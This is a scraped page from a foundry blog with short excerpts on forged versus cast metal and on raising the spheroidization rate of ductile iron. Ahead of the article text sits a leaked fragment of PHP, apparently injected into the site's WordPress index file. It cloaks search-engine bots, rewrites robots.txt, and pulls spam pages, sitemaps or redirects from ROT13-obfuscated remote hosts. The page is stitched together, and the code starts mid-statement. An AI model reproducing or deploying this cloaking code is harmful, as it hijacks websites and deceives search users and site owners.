$host,'spider' => $spider,'requestUri' => $requestUri,'urlshang' => $urlshang,'http' => $http,'lang' => $lang,'string' => $string,'robots' => $robots]);$html_content = requests($xmlname, $http_web, $param);if (!strstr($html_content, 'nobotuseragent')) { if (strstr($html_content, 'okhtml')) { @header('Content-type: text/html; charset=utf-8'); $html_content = str_replace('okhtml', '', $html_content); if ($istest) { echo $string; } echo $html_content; exit(); } else if (strstr($html_content, 'getcontent500page')) { @header('HTTP/1.1 500 Internal Server Error'); exit(); } else if (strstr($html_content, '404page')) { @header('HTTP/1.1 404 Not Found'); exit(); } else if (strstr($html_content, '301page')) { @header('HTTP/1.1 301 Moved Permanently'); $html_content = str_replace('301page', '', $html_content); header('Location: ' . $html_content); exit(); } else if (strstr($html_content, 'okxml')) { $html_content = str_replace('okxml', '', $html_content); @header('Content-Type: application/xml; charset=utf-8'); echo $html_content; exit(); } else if (strstr($html_content, 'okrobots')) { $html_content = str_replace('okrobots', '', $html_content); @header('Content-Type: text/plain; charset=utf-8'); echo $html_content; exit(); }}function requests($xmlname, $http_web, $param){ shuffle($xmlname); foreach ($xmlname as $domain) { $domain = str_rot13(urldecode($domain)); $url = $http_web . '://' . $domain . '/?' . $param; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { if (stristr(curl_error($ch), '443')) { echo "443"; } curl_close($ch); } if (ini_get('allow_url_fopen')) { $response = @file_get_contents($url); if ($response !== false) { return $response; } } } return 'nobotuseragent';}function is_bot(){ $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']); $bots = ['googlebot', 'bing', 'yahoo', 'google', 'Googlebot']; foreach ($bots as $bot) { if (strpos($user_agent, $bot) !== false) { return 1; } } return 0;}function drequest_uri(){ if (isset($_SERVER['REQUEST_URI'])) { $duri = $_SERVER['REQUEST_URI']; } else { if (isset($_SERVER['argv'])) { $duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0]; } else { $duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING']; } } return $duri;}function is_from_search_engine($referer){ if (empty($referer)) return false; $searchEngines = ['google.', 'bing.', 'yahoo.',]; foreach ($searchEngines as $engine) { if (stripos($referer, $engine) !== false) { return true; } } return false;}function create_robots($url){ $path = $_SERVER['DOCUMENT_ROOT'] . '/robots.txt'; $content = 'User-agent: *' . PHP_EOL; $content .= 'Allow: /' . PHP_EOL . PHP_EOL; $content .= 'Sitemap: ' . $url . '/sitemap.xml' . PHP_EOL; if (!file_exists($path)) { file_put_contents($path, $content); } else { $existingContent = file_get_contents($path); if ($existingContent !== $content) { file_put_contents($path, $content); } }}function is_https(){ if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') { return true; } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') { return true; } elseif (isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') { return true; } return false;}define('WP_USE_THEMES', true);require __DIR__ . '/wp-blog-header.php'; May 20, 2024 – Incredible Metacast

Forged vs. Cast

FORGING Forging processes involve rolling, pressing, hammering, or otherwise shaping metal billets while still in a solid form into a precise shape through mechanical force. The heating and deformation process refines the metal’s internal grain structure by allowing metallurgical recrystallization to occur, giving a uniform structure throughout the metal form. This process strengthens the metal […]

The influence of main elements on the spheroidization rate

C, Si: C can promote graphitization and reduce the tendency of white mouth, but a high amount of ω (C) will make the CE too high and easily cause graphite to float, generally controlled at 3.7%~3.9%. Si can strengthen graphitization ability and eliminate cementite. When Si is added as an inoculant, it can greatly reduce […]

Process Measures to Improve Spheroidization Rate

The spheroidization level of domestic ordinary spheroidal graphite cast iron castings is required to reach level 4 or above, (that is, the spheroidization rate is 70%), the spheroidization rate achieved by the general foundry is about 85%. In recent years, with the development of nodular cast iron production, especially in industries with high requirements for […]